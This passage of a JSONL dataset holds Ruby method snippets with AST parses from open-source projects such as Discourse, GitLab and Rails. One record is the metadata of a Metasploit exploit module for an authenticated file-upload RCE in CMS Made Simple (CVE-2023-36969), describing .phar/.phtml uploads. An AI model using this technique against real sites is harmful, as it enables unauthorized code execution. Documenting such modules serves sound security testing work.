Santo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Año Nuevo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de Juan Santamaría\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día del Trabajador\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[7]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Anexión de Guanacaste\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Virgen de los Angeles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Madre\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[9]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Independencia\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de las Culturas\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[12]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Navidad\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]}]}]}]}]}","id":"2dac7909-e51d-4375-b10b-16e8321bcf54"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/composer.rb","start_line":116,"raw_source":"def create\n        find(\"#{@composer_id} .btn-primary\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@composer_id\"]}]},{\"type\":\"str\",\"children\":[\" .btn-primary\"]}]}]},\"click\"]}]}","id":"68eae95e-dd25-4422-bd01-c319c0ecc48d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/mobile_category_page_style.rb","start_line":6,"raw_source":"def self.valid_value?(val)\n    values.any? { |v| v[:value].to_s == val.to_s }\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_s\"]}]}]}]}","id":"3fa48c66-c26d-4128-9051-de55e8c5650e"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/integration/bisect_spec.rb","start_line":78,"raw_source":"def zombie_process\n        @list.select { |child_process| child_process.state =~ /Z/ }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"zombie_process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@list\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_process\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_process\"]},\"state\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Z\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"516caf8e-2822-4a7a-8ed6-949253b47278"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3491,"raw_source":"def self_deletion_in_progress_or_hidden?\n    self_deletion_in_progress? || hidden?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"self_deletion_in_progress_or_hidden?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_deletion_in_progress?\"]},{\"type\":\"send\",\"children\":[null,\"hidden?\"]}]}]}","id":"50cceda8-5b57-4de6-9993-5a88c5ece2b3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":1846,"raw_source":"def self.time_to_first_response_per_day(start_date, end_date, opts = {})\n    time_to_first_response(\n      TIME_TO_FIRST_RESPONSE_SQL,\n      opts.merge(start_date: start_date, end_date: end_date),\n    )\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"time_to_first_response_per_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"arg\",\"children\":[\"end_date\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"time_to_first_response\",{\"type\":\"const\",\"children\":[null,\"TIME_TO_FIRST_RESPONSE_SQL\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"start_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]}]}]}]}]}]}","id":"eb53c6e2-e3f8-49ee-a397-101571858f11"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meeting_outcomes_controller.rb","start_line":128,"raw_source":"def destroy\n    @meeting_agenda_item = @meeting_outcome.meeting_agenda_item\n    call = ::MeetingOutcomes::DeleteService\n      .new(user: current_user, model: @meeting_outcome)\n      .call\n\n    if call.success?\n      update_outcomes_via_turbo_stream(meeting_agenda_item: @meeting_agenda_item)\n      update_header_component_via_turbo_stream\n    else\n      render_base_error_in_flash_message_via_turbo_stream(call.errors)\n    end\n\n    update_meeting_metadata_via_turbo_stream\n\n    respond_with_turbo_streams\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@meeting_agenda_item\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_outcome\"]},\"meeting_agenda_item\"]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MeetingOutcomes\"]},\"DeleteService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@meeting_outcome\"]}]}]}]},\"call\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_outcomes_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meeting_agenda_item\"]},{\"type\":\"ivar\",\"children\":[\"@meeting_agenda_item\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_header_component_via_turbo_stream\"]}]},{\"type\":\"send\",\"children\":[null,\"render_base_error_in_flash_message_via_turbo_stream\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"errors\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_meeting_metadata_via_turbo_stream\"]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]}","id":"c70315e7-4e0c-4bbc-a5da-c3826f3f4653"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/cmsms_file_manager_auth_rce.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'CmsMadeSimple Authenticated File Manager RCE',\n        'Description' => %q{\n          CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files\n          with the .phar or .phtml extensions, enabling execution of PHP code\n          leading to RCE. The file can be executed by accessing its URL in the\n          /uploads/ directory.\n\n          Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Okan Kurtuluş',\t# Initial research\n          'Mirabbas Ağalarov',\t# EDB PoC\n          'tastyrice'\t# Metasploit Module\n        ],\n        'References' => [\n          ['CVE', '2023-36969'],\n          ['EDB', '51600']\n        ],\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          [\n            'Universal', {}\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2023-06-07',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),\n        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),\n        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])\n      ]\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"CmsMadeSimple Authenticated File Manager RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files\\n\"]},{\"type\":\"str\",\"children\":[\"          with the .phar or .phtml extensions, enabling execution of PHP code\\n\"]},{\"type\":\"str\",\"children\":[\"          leading to RCE. The file can be executed by accessing its URL in the\\n\"]},{\"type\":\"str\",\"children\":[\"          /uploads/ directory.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Okan Kurtuluş\"]},{\"type\":\"str\",\"children\":[\"Mirabbas Ağalarov\"]},{\"type\":\"str\",\"children\":[\"tastyrice\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-36969\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"51600\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Universal\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-06-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base directory path for cmsms\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"7ab28ada-fc2d-44ef-9004-09d0c76909f2"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/form_tag_helper.rb","start_line":49,"raw_source":"def styled_text_field_tag(name, value = nil, options = {})\n      apply_css_class_to_options(options, \"form--text-field\")\n      wrap_field \"text-field\", options do\n        text_field_tag(name, value, options)\n      end\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"styled_text_field_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_css_class_to_options\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"form--text-field\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrap_field\",{\"type\":\"str\",\"children\":[\"text-field\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"text_field_tag\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"ef665b87-796a-4e12-909b-331522cfe2a5"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/oauth_callback_controller.rb","start_line":102,"raw_source":"def oauth_code\n    params[:code]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"oauth_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]}]}","id":"4e1177a7-d19c-4d19-99cd-5c360330ede5"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/static.rb","start_line":109,"raw_source":"def add_index_root?(path)\n      @index && route_file(path) && path.end_with?('/')\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"add_index_root?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@index\"]},{\"type\":\"send\",\"children\":[null,\"route_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"c671e7f6-e9b9-45b1-8428-19cd3f8ab64b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/publisher.rb","start_line":364,"raw_source":"def self.publish_new_channel(chat_channel, user_ids)\n      Chat::UserChatChannelMembership\n        .includes(:user)\n        .where(chat_channel: chat_channel, user_id: user_ids)\n        .find_in_batches do |memberships|\n          memberships.each do |membership|\n            serialized_channel =\n              Chat::ChannelSerializer.new(\n                chat_channel,\n                scope: membership.user.guardian, # We need a guardian here for direct messages\n                root: :channel,\n                membership: membership,\n              ).as_json\n\n            MessageBus.publish(\n              NEW_CHANNEL_MESSAGE_BUS_CHANNEL,\n              serialized_channel,\n              user_ids: [membership.user.id],\n            )\n          end\n        end\n    end","complexity_score":19.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_new_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chat_channel\"]},{\"type\":\"arg\",\"children\":[\"user_ids\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"UserChatChannelMembership\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"lvar\",\"children\":[\"chat_channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]},\"find_in_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"memberships\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memberships\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"membership\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"serialized_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"ChannelSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"user\"]},\"guardian\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"sym\",\"children\":[\"channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"membership\"]},{\"type\":\"lvar\",\"children\":[\"membership\"]}]}]}]},\"as_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"const\",\"children\":[null,\"NEW_CHANNEL_MESSAGE_BUS_CHANNEL\"]},{\"type\":\"lvar\",\"children\":[\"serialized_channel\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"user\"]},\"id\"]}]}]}]}]}]}]}]}]}","id":"bd71adc3-d62a-452e-b145-ca76de1a8e8c"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/binder.rb","start_line":482,"raw_source":"def redirects_for_restart_env\n      @listeners.each_with_object({}).with_index do |(listen, memo), i|\n        memo[\"PUMA_INHERIT_#{i}\"] = \"#{listen[1].to_i}:#{listen[0]}\"\n      end\n    end","complexity_score":11.48,"ast_json":"{\"type\":\"def\",\"children\":[\"redirects_for_restart_env\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@listeners\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"listen\"]},{\"type\":\"arg\",\"children\":[\"memo\"]}]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PUMA_INHERIT_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"listen\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"listen\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}","id":"542a3307-41e9-4124-b587-f8f945640c4e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/order.rb","start_line":159,"raw_source":"def where_values_with_or_query(values)\n          build_or_query(build_where_values(values.with_indifferent_access))\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"where_values_with_or_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[null,\"build_or_query\",{\"type\":\"send\",\"children\":[null,\"build_where_values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"with_indifferent_access\"]}]}]}]}","id":"d4521a6e-5254-4b3f-85fb-3d03a53a0174"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":6,"raw_source":"def initialize(object)\n        super \"Unsupported argument type: #{object.class.name}. Construct an Arel node instead.\"\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported argument type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\". Construct an Arel node instead.\"]}]}]}]}","id":"37562d58-fc4f-42da-9dcc-79462fe4c9ac"}
